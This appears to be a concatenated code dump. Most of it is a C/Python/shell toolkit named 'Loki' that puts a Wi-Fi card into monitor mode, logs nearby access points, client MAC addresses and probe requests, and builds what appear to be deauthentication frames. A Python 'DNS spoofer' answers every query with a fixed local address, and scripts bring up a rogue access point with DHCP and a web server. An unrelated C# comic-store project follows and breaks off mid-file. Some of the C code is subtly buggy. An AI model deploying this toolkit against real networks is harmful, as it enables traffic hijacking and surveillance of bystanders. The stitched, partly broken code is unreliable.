4; if(mctrl->order) drop = 0; short hsize = sizeof(struct mac80211_management_hdr)-drop; char *ssid = elements_get_ssid((uint8_t*)frame+hsize, (len-hsize)); if(ssid == NULL) return; if(ssid[0] == '*') { free(ssid); return; } struct proberq_frame_item *item = NULL; // Add any new SSIDs to the list of requests if( (item = proberq_ssid_exists(log->proberq.list, ssid)) == NULL) { item = (struct proberq_frame_item*) malloc(sizeof(struct proberq_frame_item)); if(log->proberq.list == NULL) log->proberq.list = item; item->prev = log->proberq.tail; if(item->prev != NULL) item->prev->next = item; log->proberq.tail = item; item->ssid_len = strlen(ssid); item->ssid = ssid; item->list = item->tail = NULL; item->count = 0; item->next = NULL; log->proberq.num++; modified = 1; } else { free(ssid); } item->count++; // add any new trasmitter addresses for the SSID probe request uint8_t *addr = ((struct mac80211_management_hdr*)frame)->ta; if(proberq_mac_exists(item->list, addr) == NULL ) { struct macaddr_list_item *addr_item = (struct macaddr_list_item*) malloc(sizeof(struct macaddr_list_item)); memcpy(addr_item->addr, addr, 6); if(item->list == NULL) item->list = addr_item; if(item->tail != NULL) item->tail->next = addr_item; addr_item->prev = item->tail; addr_item->next = NULL; } return modified; } static uint8_t filter_frame_management(const uint8_t *packet, uint16_t len, const struct mac80211_control *mctrl, struct loki_state *state) { struct mac80211_management_hdr *manhdr = NULL; manhdr = (struct mac80211_management_hdr*)packet; switch(mctrl->subtype) { case BEACON: process_beacon((uint8_t*)manhdr, mctrl, len, state->log); break; case PROBE_REQUEST: process_probe_request((uint8_t*)manhdr, mctrl, len, state->log); break; default: return 0; } return 1; } static uint8_t filter_frame_data(const uint8_t *packet, uint16_t len, const struct mac80211_control *mctrl, struct loki_state *state) { process_data(packet, mctrl, len, state->log); return 0; } static unsigned int process_data(const uint8_t *frame, const struct mac80211_control *mctrl, uint16_t len, struct frame_log *log) { struct mac80211_data *datahdr = NULL; struct beacon_frame_item *item; struct macaddr_list_item *maddr = NULL; datahdr = (struct mac80211_data*)frame; if(mctrl->fromDS == 1 && mctrl->toDS == 0) { //printw("From distribution system"); } else if(mctrl->fromDS == 0 && mctrl->toDS == 1) { if((item = beacon_mac_exists(log->beacon.list, datahdr->ra)) != NULL) { if(proberq_mac_exists(item->list, datahdr->sa) == NULL) { maddr = (struct macaddr_list_item*) malloc(sizeof(struct macaddr_list_item)); if(item->sta_count == 0) { item->list = maddr; item->sta_selected = 0; } maddr->prev = item->tail; maddr->next = NULL; if(item->tail != NULL) item->tail->next = maddr; item->tail = maddr; memcpy(maddr->addr, datahdr->sa, 6); item->sta_count++; } } } } static struct beacon_frame_item *beacon_mac_exists(struct beacon_ssid_item *list, uint8_t *value) { if(list == NULL) return NULL; struct beacon_frame_item* aplist = NULL; do { aplist = list->list; do { if(memcmp(aplist->mac, value, 6) == 0) return aplist; } while((aplist = aplist->next) != NULL); } while( (list = list->next)); return NULL; } <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include "packet.h" char *printraw_packet(const unsigned char *packet, unsigned int len) { unsigned int i = 0, j = 0; char *buf, *bptr; bptr = buf = malloc((len*3)+(len>>4)+11); while(i < len) { sprintf(bptr, "%02x ", packet[i++]); bptr += 3; if(++j == 16) { sprintf(bptr++, "\n"); j = 0; } } bptr = '\0'; return buf; } struct mac80211_control *decode_mac80211_control(uint16_t cf) { struct mac80211_control *fields = malloc(sizeof(struct mac80211_control)); fields->protocol = cf&0x03; cf >>= 2; fields->type = cf&0x03; cf >>= 2; fields->subtype = cf&0x0f; cf >>= 4; fields->toDS = cf&0x01; cf >>= 1; fields->fromDS = cf&0x01; cf >>= 1; fields->frags = cf&0x01; cf >>= 1; fields->retry = cf&0x01; cf >>= 1; fields->powerman = cf&0x01; cf >>= 1; fields->data = cf&0x01; cf >>= 1; fields->protected = cf&0x01; cf >>= 1; fields->order = cf&0x01; cf >>= 1; return fields; } char *printraw_management_frame(const uint8_t *packet, uint16_t len) { uint8_t mac_begin, hsize; size_t fsize; struct mac80211_management_hdr *manhdr = NULL; struct mac80211_control *mctrl = NULL; char *sradio, *smanhdr, *smanframe, *formatted; mac_begin = ((struct pkth_radiotap*)packet)->len; len -= mac_begin; // Print radiotap header sradio = printraw_packet((uint8_t*)packet, mac_begin); manhdr = (struct mac80211_management_hdr*) ((uint8_t*)packet+mac_begin); mctrl = decode_mac80211_control(manhdr->control); hsize = sizeof(struct mac80211_management_hdr); if(mctrl->order == 0) hsize -= 4; // We drop the 4-byte HT field len -= hsize; // print managament header smanhdr = printraw_packet((uint8_t*)manhdr, hsize); // print frame body smanframe = printraw_packet((uint8_t*)manhdr+hsize, len); fsize = strlen(sradio) + strlen(smanhdr) + strlen(smanframe) + 6; formatted = (char*)malloc(sizeof(char)*fsize); sprintf(formatted, "%s\n\n%s\n\n%s\n", sradio, smanhdr, smanframe); free(sradio); free(smanhdr); free(smanframe); return formatted; } char *print_mac_address(uint8_t *address) { char *faddr, *floc; faddr = (char*)malloc(sizeof(char)*32); floc = faddr; int i = 0; while(i < 6) { if(i > 0) { sprintf(floc, ":"); floc += 1; } sprintf(floc, "%02x", address[i++]); floc += 2; } floc = '\0'; return faddr; } uint16_t encode_mac80211_control(const struct mac80211_control *stc) { uint16_t ctrl; ctrl |= stc->order; ctrl <<= 1; ctrl |= stc->protected; ctrl <<= 1; ctrl |= stc->data; ctrl <<= 1; ctrl |= stc->powerman; ctrl <<= 1; ctrl |= stc->retry; ctrl <<= 1; ctrl |= stc->frags; ctrl <<= 1; ctrl |= stc->fromDS; ctrl <<= 1; ctrl |= stc->toDS; ctrl <<= 4; ctrl |= stc->subtype; ctrl <<= 2; ctrl |= stc->type; ctrl <<= 2; ctrl |= stc->protocol; return ctrl; } struct header_radiotap *construct_header_radiotap() { struct header_radiotap *header; header = (struct header_radiotap*) malloc(sizeof(struct header_radiotap)); header->version = 0; header->pad = 0; header->len = sizeof(struct header_radiotap); header->present = 0; return header; } struct mac80211_management_hdr *construct_header_management(const uint8_t *ta, const uint8_t *ra, const uint8_t *bssid, const struct mac80211_control *stc) { struct mac80211_management_hdr *mng = (struct mac80211_management_hdr*)malloc(sizeof(struct mac80211_management_hdr)); mng->control = encode_mac80211_control(stc); mng->duration_id = 500; memcpy(mng->ra, ra, 6); memcpy(mng->ta, ta, 6); memcpy(mng->bssid, bssid, 6); mng->seqctrl = 0; return mng; } uint8_t *construct_packet(struct header_radiotap *tap, struct mac80211_management_hdr *header, uint16_t reason, size_t *len) { uint8_t *packet = (uint8_t*) malloc( tap->len + sizeof(struct mac80211_management_hdr) + 2); size_t pos = 0; memcpy(packet+pos, tap, tap->len); pos += tap->len; memcpy(packet+pos, header, sizeof(struct mac80211_management_hdr) - 4); pos += sizeof(struct mac80211_management_hdr) - 4; memcpy(packet+pos, &reason, 2); pos += 2; *len = pos; return packet; } <file_sep>#!/bin/bash sudo ./loki wlp1s0 <file_sep>#include <string.h> #include <stdlib.h> #include "views.h" #include "capture.h" #include "controller/controllers.h" struct view *create_view(uint16_t x, uint16_t y, uint16_t w, uint16_t h, void (*cb)(struct loki_state*,WINDOW*)) { struct view *view = (struct view*) malloc(sizeof(struct view)); view->x = x; view->y = y; view->w = w; view->h = h; view->write = cb; view->port = newwin(h,w,y,x); return view; } void view_refresh(struct view *view) { wnoutrefresh(view->port); } void print_overview_left(struct loki_state *state, WINDOW *handle) { char *packet = NULL; if(( packet = state->log->lastPacket) != NULL) { wprintw(handle, "%s\n---------\n\n", packet); free(packet); ((struct frame_log*)state->log)->lastPacket = NULL; } } void print_overview_centre(struct loki_state *state, WINDOW *handle) { wmove(handle, 0 , 0); wprintw(handle, "Beacon Frames\n-------------\nTotal: \n\n"); struct beacon_ssid_item *item = ((struct frame_log*)state->log)->beacon.list; if(item == NULL) return; int i = 0; do { if(i++ == state->log->beacon.selected) wprintw(handle, "> %s\n", item->ssid); else wprintw(handle, " %s\n", item->ssid); } while( (item = item->next) != NULL); wmove(handle, 2, 8); wprintw(handle, "%ld", ((struct frame_log*)state->log)->beacon.num); } void print_overview_right(struct loki_state *state, WINDOW *handle) { wmove(handle, 0 , 0); wprintw(handle, "Probe Requests\n--------------\nTotal: \n\n"); struct proberq_frame_item *item = ((struct frame_log*)(state->log))->proberq.list; if(item == NULL) return; int i = 0; do { if(i++ == state->log->proberq.selected) wprintw(handle, "> %ld\t%s\n", item->count, item->ssid); else wprintw(handle, " %ld\t%s\n", item->count, item->ssid); } while( (item = item->next) != NULL); wmove(handle, 2, 8); wprintw(handle, "%ld", ((struct frame_log*)state->log)->proberq.num); } void print_ap_left(struct loki_state *state, WINDOW *handle) { } void print_ap_centre(struct loki_state *state, WINDOW *handle) { struct beacon_ssid_item *item = state->log->beacon.list; struct beacon_frame_item *apitem =NULL; int i = 0; do { if(i++ == state->log->beacon.selected) break; } while( (item = item->next) != NULL); wmove(handle, 0 , 0); wprintw(handle, "BSS AcPt List\n"); wprintw(handle, "-------------\n"); i = 0; apitem = item->list; do { if(item->selected == i) { wprintw(handle, "> %s\n", print_mac_address(apitem->mac)); } else { wprintw(handle, " %s\n", print_mac_address(apitem->mac)); } ++i; } while ((apitem = apitem->next)); } void print_ap_right(struct loki_state *state, WINDOW *handle) { struct beacon_ssid_item *item = state->log->beacon.list; struct beacon_frame_item *apitem = NULL; struct macaddr_list_item *addr; int i = 0; do { if(i++ == state->log->beacon.selected) { i = 0; apitem = item->list; do { if(i++ == item->selected) break; } while( (apitem = apitem->next) ); } } while( (item = item->next) != NULL); wmove(handle, 0 , 0); wprintw(handle, "Stations\n"); wprintw(handle, "--------\n"); addr = apitem->list; i = 0; if((addr = apitem->list) == NULL) return; do { if(i++ == apitem->sta_selected && state->controllers.ap->selected == state->controllers.ap->right) wprintw(handle, "> %s\n", print_mac_address(addr->addr)); else wprintw(handle, " %s\n", print_mac_address(addr->addr)); } while( (addr = addr->next) != NULL); } void print_sta_centre(struct loki_state *state, WINDOW *handle) { struct macaddr_list_item *mitem; struct proberq_frame_item *item = state->log->proberq.list; int i = 0; do { if(i++ == state->log->proberq.selected) break; } while( (item = item->next) != NULL); wmove(handle, 0 , 0); wprintw(handle, "Probes\n"); wprintw(handle, "------\n"); wprintw(handle, "%s\n", item->ssid); mitem = item->list; do { wprintw(handle, "%s\n", print_mac_address(mitem->addr)); } while( (mitem = mitem->next) != NULL); } void print_sta_right(struct loki_state *state, WINDOW *handle) { wmove(handle, 0 , 0); wprintw(handle, "STA RIGHT"); } <file_sep>#!/bin/sh sudo ./ldns <file_sep>from subprocess import call def startVirtualInterface(name) <file_sep>#!/bin/env python import os import sys import socket from loki.net import DNSResponse, RecordType, printPacket from struct import * def colorPrintLine(caption, color): print "\033["+color+"m"+caption+"\033[0m" print "Loki DNS Spoofer" print "-----------" print("Starting... "), try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('192.168.1.1', 53)); except socket.error as msg: colorPrintLine("FAIL", "31") print "Exception occured [" + str(msg[0]) +"]\n"+msg[1] sys.exit() colorPrintLine("OK", "32;1") verbose = 0 if len(sys.argv) > 1: if sys.argv[1] == '-v': verbose = 1 while 1: data, addr = s.recvfrom(1024) colorPrintLine("@\t"+ addr[0] +" : "+ str(addr[1]), "35;1") d = data[0:12] query = unpack('!HHHHHH', d) dsplit = 13; rest = data[13:] domain = ""; sz = len(rest) cc = 'z' i = 0 while i < sz: cc = rest[i] ci = ord(cc) i += 1 if ci == 0x0: break if ci < 10: domain += "." else: domain += cc queryRecord = data[12:12+i] colorPrintLine("?\t"+domain, "34;1") if verbose: print "Transaction: " +hex(query[0]) print "Flags: " +hex(query[1]) print "Questions: " + str(query[2]) print "Ans Auth Add: " + str(query[3]) + " " + str(query[4]) + " " + str(query[5]) print "~~~" response = DNSResponse(query[0]) response.addQuery(queryRecord) response.addAnswer("192.168.1.1", RecordType.A) packet = response.generatePacket() s.sendto(packet, addr) if verbose: printPacket(packet, 16) <file_sep>#include <net/if.h> #include <netlink/netlink.h> #include <netlink/socket.h> #include <netlink/genl/genl.h> #include <stdlib.h> #include "nl80211.h" /* free netlink stuff */ inline static void free_nlmem(struct nl_msg *msg, struct nl_sock *nls) { if(msg != NULL) nlmsg_free(msg); if(nls != NULL) nl_socket_free(nls); } /* init the netlink socket */ static void init(const char*, struct nl_sock*, int*, signed long long*); /* callbacks for message recv */ static int ack_cb(struct nl_msg*, void*); static int finish_cb(struct nl_msg*, void*); static int error_cb(struct nl_msg*, struct nlmsgerr*, void*); /* set the monitor control flag */ static int set_mntr_control_flag(struct nl_msg*, int); unsigned int set_monitor_mode(const char *dev) { signed long long devid; int family, cmd, bytes, flags = 0; struct nl_msg *msg = NULL; struct nl_cb *cb = NULL; struct nl_sock *nls = nl_socket_alloc(); if(nls == NULL) { fprintf(stderr, "Netlink: NULL netlink socket\n"); exit(1); } init(dev, nls, &family, &devid); printf("FD: %d\n", nl_socket_get_fd(nls)); printf("Device ID: %lld\n", devid); printf("Netlink family ID: %d\n", family); cb = nl_cb_alloc(NL_CB_DEFAULT); msg = nlmsg_alloc(); if(!msg) { fprintf(stderr, "Failed to allocate netlink message\n"); nlmsg_free(msg); nl_socket_free(nls); return 1; } /* port is 0 - send to kernel */ genlmsg_put(msg, 0, 0, family, 0, flags, NL80211_CMD_SET_INTERFACE, 0); NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, devid); NLA_PUT_U32(msg, NL80211_ATTR_IFTYPE, NL80211_IFTYPE_MONITOR); if(set_mntr_control_flag(msg, NL80211_MNTR_FLAG_CONTROL) < 0) goto nla_put_failure; nl_socket_set_cb(nls, cb); /* Heavens to murgatroyd - this function is undocumented */ /* ^^^^^^^^^^^^^^^^ * After some digging around in libnl these *_{put|set}_cb functions are to do * with reference counting. * * nl_socket_set_cb(): * * decreases the reference count of the current callback function structure * and increments the reference count of the structure passed in and * assigns it tp the socket structure */ bytes = nl_send_auto(nls, msg); if(bytes < 0) { fprintf(stderr, "Error sending message\n"); free_nlmem(msg, nls); return 1; } bytes = 1; nl_cb_err(cb, NL_CB_CUSTOM, (nl_recvmsg_err_cb_t)error_cb, (void*)(&bytes)); nl_cb_set(cb, NL_CB_FINISH, NL_CB_CUSTOM, (nl_recvmsg_msg_cb_t)finish_cb, (void*)(&bytes)); nl_cb_set(cb, NL_CB_ACK, NL_CB_CUSTOM, (nl_recvmsg_msg_cb_t)ack_cb, (void*)(&bytes)); while(bytes > 0) nl_recvmsgs(nls, cb); free_nlmem(msg, nls); return 0; nla_put_failure: /* labels in your macros, libnl? I shake a tiny fist at you*/ fprintf(stderr, "Failed to build message\n"); free_nlmem(msg, nls); return 1; } static void init(const char *dev, struct nl_sock *nls, int *family, signed long long *devid) { if(!nls) { fprintf(stderr, "Netlink: Failed to allocate socket\n"); exit(EXIT_FAILURE); } int r = nl_socket_set_buffer_size(nls, 8192, 8192); /* this creates a local socket + binds to GENERIC NETLINK*/ if(genl_connect(nls)) { fprintf(stderr, "Netlink: Failed to create socket fd\n"); nl_socket_free(nls); exit(EXIT_FAILURE); } /* the resolvers convert family names into unqiue IDs*/ *family = genl_ctrl_resolve(nls, "nl80211"); if(*family < 0) { fprintf(stderr, "Failed to resolve ID for nl80211 family\n"); nl_socket_free(nls); exit(EXIT_FAILURE); } *devid = if_nametoindex(dev); } static int ack_cb(struct nl_msg *msg, void *arg) { printf("Ack OK\n"); *((int*)arg) = 0; return NL_STOP; } static int finish_cb(struct nl_msg *msg, void *arg) { printf("Finish recv\n"); *((int*)arg) = 0; return NL_SKIP; } static int error_cb(struct nl_msg *msg, struct nlmsgerr *err, void *arg) { printf("Error on recv: %d\n", err->error); *((int*)arg) = err->error; return NL_SKIP; } static int set_mntr_control_flag(struct nl_msg *msg, int flag) { struct nl_msg *flags = nlmsg_alloc(); if(!flags) { fprintf(stderr, "Error allocating flags\n"); nlmsg_free(flags); exit(EXIT_FAILURE); } NLA_PUT_FLAG(flags, flag); nla_put_nested(msg, NL80211_ATTR_MNTR_FLAGS, flags); return 0; nla_put_failure: nlmsg_free(flags); return -1; } <file_sep>#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <netinet/if_ether.h> #include <ncurses.h> #include "state.h" #include "monitor.h" #include "capture.h" #include "init.h" /* TODO: * this needs to be researched more deeply * to see what net-tools is up to... */ static void input_loop(struct loki_state*); static int ifconfig_device_up(const char *dev, const char *address) { char ifcfg[40]; if(address == NULL) sprintf(ifcfg, "ifconfig %s up", dev); else sprintf(ifcfg, "ifconfig %s %s up", dev, address); printf("$ %s\n", ifcfg); return system(ifcfg); } static int ifconfig_device_down(const char *dev) { char ifcfg[20]; sprintf(ifcfg, "ifconfig %s down", dev); printf("$ %s\n", ifcfg); return system(ifcfg); } int main( int argc, char *argv[]) { pthread_t tcap, tui; struct loki_state lstate; char *addr, *dev; int r; cbreak(); lstate.status_msg = NULL; scrmutex = (pthread_mutex_t)PTHREAD_MUTEX_INITIALIZER; addr = "192.168.0.1"; if(argc < 2) { fprintf(stderr, "Device unspecified\n"); exit(EXIT_FAILURE); } if(argc >= 3) { addr = argv[2]; } dev = argv[1]; r = 0; /* switch on monitor mode using libnl */ if(set_monitor_mode(dev) > 0) { fprintf(stderr, "Error on setting monitor flag\n"); exit(EXIT_FAILURE); } /* If we're here then we should be in monitor mode. */ lstate.dev = dev; r = ifconfig_device_up(dev, addr); if(r != EXIT_SUCCESS) { if( r == -1) fprintf(stderr, "Error in creating child process\n"); else if(r == EXIT_FAILURE) fprintf(stderr, "Child process EXIT_FAILURE\n"); exit(EXIT_FAILURE); } /* device is now up */ printf("device is up\n", dev); init_ncurses(); create_screens(&lstate); create_controllers(&lstate); if(pthread_create( &tcap, NULL, device_capture_start, (void*)&lstate) != 0) { printf("Failed to start capture thread\n"); exit(EXIT_FAILURE); } printw("Loki Capture | "); screen_refresh(lstate.current); input_loop(&lstate); screen_stop(lstate.current); /* bring device down */ ifconfig_device_down(dev); exit(EXIT_SUCCESS); } static void input_loop(struct loki_state *state) { int code = 0; while((code = getch()) != 'q') { state->current_controller->input(code, state); write_screen(state->current, state); } } <file_sep>cmake_minimum_required (VERSION 2.6) project (Loki_shifter) set( GCC_CFLAG "-I/usr/include/libnl3 -I./ -ggdb" ) # Libs set( EXTRA_LIBS ${EXTRA_LIBS} -lpcap -lnl-genl-3 -lnl-3 -lncurses -lpthread ) # Files set( SRC ${CMAKE_CURRENT_SOURCE_DIR}/packet.c ${CMAKE_CURRENT_SOURCE_DIR}/main.c ) # Integration set( CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${GCC_CFLAG}" ) add_executable( lokishift ${SRC} ) target_link_libraries ( lokishift ${EXTRA_LIBS} ) <file_sep>#include <pcap.h> #include "capture.h" #include "packet.h" static int device_capture(struct loki_state *); /* pcap callback for reading a packet */ static void capture_cb(u_char*, const struct pcap_pkthdr*, const u_char*); void *device_capture_start(void *data) { device_capture((struct loki_state*)data); } int device_capture(struct loki_state *state) { pcap_t *handle = NULL; char errbuf[PCAP_ERRBUF_SIZE], *filter = NULL, *dev; bpf_u_int32 ipaddr, netmask; struct bpf_program fp; const u_char *packet = NULL; struct frame_log log = (const struct frame_log){0}; dev = state->dev; state->log = (void*)&log; if(pcap_lookupnet(dev, &ipaddr, &netmask, errbuf) == -1) { fprintf(stderr, "Error on device lookup\n%s\n", errbuf); return 1; } handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); if(handle == NULL) { fprintf(stderr, "Couldn't open device %s", errbuf); return 1; } //filter = "broadcast"; filter = "type mgt or type data"; if(pcap_compile(handle, &fp, filter, 0, 0) == -1) { fprintf(stderr, "Couldn't compiler filter / %s\n", pcap_geterr(handle)); return 1; } if(pcap_setfilter(handle, &fp) == -1) { fprintf(stderr, "Couldn't install filter\n", pcap_geterr(handle)); return 1; } state->handle = handle; if(pcap_loop(handle, 0, capture_cb, (u_char*)state) == -1) { fprintf(stderr, "Error on capture loop\n"); pcap_close(handle); return 1; } pcap_close(handle); return 0; } void capture_cb(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) { static int packetCheck = 0; static long long totalPackets = 0; uint16_t eth_begin = 0, sz = 0, hsize = 0; struct loki_state *state; struct frame_log *log = NULL; state = (struct loki_state*) args; log = (struct frame_log*) state->log; log->totalPackets++; if(!filter_frame(packet, header->len, state)) return; packetCheck++; if( (packetCheck%50) == 0 ) { wattron(state->screens.overview->left->port, COLOR_PAIR(1)); packetCheck = 0; char *formatted = printraw_management_frame(packet, header->len); log->lastPacket = formatted; } write_screen(state->current, state); } <file_sep>#ifndef CONTROLLERS_H #define CONTROLLERS_H #include "state.h" #include "capture.h" typedef void(*mode_controller_callback)(int,struct loki_state*); typedef void(*controller_callback)(int,struct frame_log*); typedef void(*controller_switch)(int,struct frame_log*); struct controller { controller_callback input; }; struct mode_controller { mode_controller_callback input; struct controller *left, *centre, *right; struct controller *selected; }; void switch_controller(struct loki_state*, struct controller*); struct mode_controller *create_mode_controller(); struct controller *create_controller(); void controller_overview_left(int, struct frame_log*); void controller_overview_centre(int, struct frame_log*); void controller_overview_right(int, struct frame_log*); void controller_overview_mode(int, struct loki_state*); void controller_ap_mode(int, struct loki_state*); void controller_sta_mode(int, struct loki_state*); #endif <file_sep>#ifndef STATE_H #define STATE_H #include <pthread.h> #include <pcap.h> #include "view/screen.h" #include "capture.h" enum loki_mode { OVERVIEW = 0, FOCUS_AP, FOCUS_STA }; struct loki_state { char *dev; struct frame_log *log; struct screen_list { struct screen *overview; struct screen *ap; struct screen *sta; } screens; struct controller_list { struct mode_controller *overview; struct mode_controller *ap; struct mode_controller *sta; } controllers; struct screen *current; struct mode_controller *current_controller; char *status_msg; pcap_t *handle; }; void set_status_message(char*, struct loki_state*); static pthread_mutex_t scrmutex; #endif <file_sep>#ifndef CAPTURE_H #define CAPTURE_H #include <stdint.h> #include "state.h" #include "frameproc.h" void *device_capture_start(void*); #endif <file_sep>#!/bin/sh echo "Starting DHCP daemon..." sudo dhcpd echo "Starting HTTP daemon..." sudo systemctl start lighttpd.service echo "Starting Access Point..." sudo hostapd hapd_loki.conf <file_sep>cmake_minimum_required (VERSION 2.6) project (Loki) set( GCC_CFLAG "-I/usr/include/libnl3 -I./ -ggdb" ) # Libs set( EXTRA_LIBS ${EXTRA_LIBS} -lpcap -lnl-genl-3 -lnl-3 -lncurses -lpthread ) # Files set( SRC ${CMAKE_CURRENT_SOURCE_DIR}/packet.c ${CMAKE_CURRENT_SOURCE_DIR}/monitor.c ${CMAKE_CURRENT_SOURCE_DIR}/frameproc.c ${CMAKE_CURRENT_SOURCE_DIR}/capture.c ${CMAKE_CURRENT_SOURCE_DIR}/state.c ${CMAKE_CURRENT_SOURCE_DIR}/view/screen.c ${CMAKE_CURRENT_SOURCE_DIR}/view/views.c ${CMAKE_CURRENT_SOURCE_DIR}/controller/controllers.c ${CMAKE_CURRENT_SOURCE_DIR}/init.c ${CMAKE_CURRENT_SOURCE_DIR}/main.c ) # Integration set( CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${GCC_CFLAG}" ) add_executable( loki ${SRC} ) target_link_libraries ( loki ${EXTRA_LIBS} ) <file_sep>#include "init.h" /** Construct all the screens and their views that are used in lokicap */ void create_screens(struct loki_state *state) { struct screen *screen = NULL; struct view *vleft = NULL, *vright = NULL, *vcentre = NULL; // overview focus vleft = create_view(2, 2, 50, LINES-4, &print_overview_left); vcentre = create_view(52, 2, 37, LINES-4, &print_overview_centre); vright = create_view(89, 2, (COLS/3), LINES-4, &print_overview_right); scrollok(vleft->port, TRUE); idlok(vleft->port, TRUE); screen = create_screen(); screen->left = vleft; // only use one raw feed screen->centre = vcentre; screen->right = vright; // Access Point focus state->current = state->screens.overview = screen; vcentre = create_view(52, 2, 37, LINES-4, &print_ap_centre); vright = create_view(89, 2, (COLS/3), LINES-4, &print_ap_right); screen = create_screen(); screen->left = vleft; // only use one raw feed screen->centre = vcentre; screen->right = vright; state->screens.ap = screen; // Station focus vcentre = create_view(52, 2, 37, LINES-4, &print_sta_centre); vright = create_view(89, 2, (COLS/3), LINES-4, &print_sta_right); screen = create_screen(); screen->left = vleft; // only use one raw feed screen->centre = vcentre; screen->right = vright; state->screens.sta = screen; } void create_controllers(struct loki_state *state) { struct mode_controller *controller; // Build the overview mode controller controller = create_mode_controller(); controller->left = create_controller(); controller->left->input = &controller_overview_left; controller->centre = create_controller(); controller->centre->input = &controller_overview_centre; controller->right = create_controller(); controller->right->input = &controller_overview_right; controller->selected = controller->centre; controller->input = &controller_overview_mode; state->controllers.overview = controller; state->current_controller = state->controllers.overview; // Build the AP mode controller controller = create_mode_controller(); controller->left = create_controller(); controller->left->input = NULL; controller->centre = create_controller(); controller->centre->input = NULL; controller->right = create_controller(); controller->right->input = NULL; controller->selected = controller->centre; controller->input = &controller_ap_mode; state->controllers.ap = controller; // Build the STA mode controller controller = create_mode_controller(); controller->left = create_controller(); controller->left->input = NULL; controller->centre = create_controller(); controller->centre->input = NULL; controller->right = create_controller(); controller->right->input = NULL; controller->selected = controller->centre; controller->input = &controller_sta_mode; state->controllers.sta = controller; } <file_sep>#!/bin/sh echo "Bringing servers down..." sudo pkill dhcpd sudo ifconfig wlp0s29u1u2 down sudo ifconfig wlp1s0 up sudo systemctl stop lighttpd sudo systemctl start NetworkManager echo "Normal functionality restored"
e7453ffbc5d37d4ff4e88fa6c63b295d74355b4b
[ "CMake", "Markdown", "Python", "C", "Shell" ]
33
C
carrotsrc/loki
abd419baa41f0fd6774db4bf6f8c0540170603a1
283a70a62b4b1990a49e51afeda09a072abd28f7
refs/heads/master
<repo_name>erfanMhi/Pytorch-Useful-Snippets<file_sep>/mini_operators.py @convert_args_to_tensor([0], ['labels']) def torch_one_hot(labels, one_hot_size): one_hot = torch.zeros(labels.shape[0], one_hot_size, device=labels.device) one_hot[torch.arange(labels.shape[0], device=labels.device), labels] = 1 return one_hot @convert_args_to_tensor() def gather_nd(params, indices): """params is of "n" dimensions and has size [x1, x2, x3, ..., xn], indices is of 2 dimensions and has size [num_samples, m] (m <= n)""" assert type(indices) == torch.Tensor return params[indices.transpose(0,1).long().numpy().tolist()]<file_sep>/decorators.py import torch import functools import numpy as np import inspect def _is_method(func): spec = inspect.signature(func) return 'self' in spec.parameters def convert_args_to_tensor(positional_args_list=None, keyword_args_list=None): """A decorator which converts args in positional_args_list to torch.Tensor Args: positional_args_list ([list]): [arguments to be converted to torch.Tensor. If None, it will convert all positional arguments to Tensor] keyword_args_list ([list]): [arguments to be converted to torch.Tensor. If None, it will convert all keyword arguments to Tensor] """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kwargs): _keyword_args_list = keyword_args_list _positional_args_list = positional_args_list if keyword_args_list is None: _keyword_args_list = list(kwargs.keys()) if positional_args_list is None: _positional_args_list = list(range(len(args))) if _is_method(func): _positional_args_list = _positional_args_list[1:] args = list(args) for i, arg in enumerate(args): if i in _positional_args_list: if type(arg) == np.ndarray: args[i] = torch.from_numpy(arg).type(torch.FloatTensor) elif type(arg) == torch.Tensor: pass else: raise ValueError('Arguments should be Numpy arrays, but argument in position {} is not'.format(str(i))) for key, arg in kwargs.items(): if key in _keyword_args_list: if type(arg) == np.ndarray: kwargs[key] = torch.from_numpy(arg).type(torch.FloatTensor) elif type(arg) == torch.Tensor: pass else: raise ValueError('Arguments should be Numpy arrays, but argument {} is not'.format(str(key))) return func(*args, **kwargs) return wrapper return decorator<file_sep>/README.md # Pytorch-Useful-Snippets We aught to design a library which contains many useful snippets that can help us write less amount of code in Pytorch. **This project is currently under development.** <file_sep>/operator_analyzers.py import numpy as np def conv_output_shape(h_w, kernel_size=1, stride=1, pad=0, dilation=1): """ Utility function for computing output of convolutions takes a tuple of (h,w) and returns a tuple of (h,w) """ if type(h_w) is not tuple: h_w = (h_w, h_w) if type(kernel_size) is not tuple: kernel_size = (kernel_size, kernel_size) if type(stride) is not tuple: stride = (stride, stride) if type(pad) is not tuple: pad = (pad, pad) h = (h_w[0] + (2 * pad[0]) - (dilation * (kernel_size[0] - 1)) - 1)// stride[0] + 1 w = (h_w[1] + (2 * pad[1]) - (dilation * (kernel_size[1] - 1)) - 1)// stride[1] + 1 return h, w def get_same_padding_size(kernel_size=1, stride=1, dilation=1): """ A utility function which calculated the padding size needed to get the same padding functionality as same as tensorflow Conv2D implementation """ neg_padding_size = (stride - dilation*kernel_size + dilation -1)/2 if neg_padding_size>0: return 0 return int(np.ceil(np.abs(neg_padding_size)))
6315b9a05b8d6a0597cd447186d4d1399c88c9a4
[ "Markdown", "Python" ]
4
Python
erfanMhi/Pytorch-Useful-Snippets
1d727494bce88af0336c7aee503c3fe866d97318
61361e857c8d0dbe0c7fef33dc9348e363e0b79c
refs/heads/master
<repo_name>heena2000/ComicBookStore<file_sep>/ComicBookStore/Models/ComicOrder.cs using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace ComicBookStore.Models { public class ComicOrder { [Key] public int OrderID { get; set; } [Required] [StringLength(1000)] public string Address { get; set; } public DateTime OrderDate { get; set; } [Required] [StringLength(200)] public string UserID { get; set; } [Required] public int Quantity { get; set; } [Required] public float Price { get; set; } [Required] public float Total { get; set; } [Required] public int ComicID { get; set; } public ComicInfo ComicInfo { get; set; } } } <file_sep>/ComicBookStore/Controllers/ComicInfoesController.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.EntityFrameworkCore; using ComicBookStore.Data; using ComicBookStore.Models; using Microsoft.AspNetCore.Hosting; using System.IO; namespace ComicBookStore.Controllers { public class ComicInfoesController : Controller { private readonly ApplicationDbContext _context; private readonly IWebHostEnvironment _environment; public ComicInfoesController(ApplicationDbContext context, 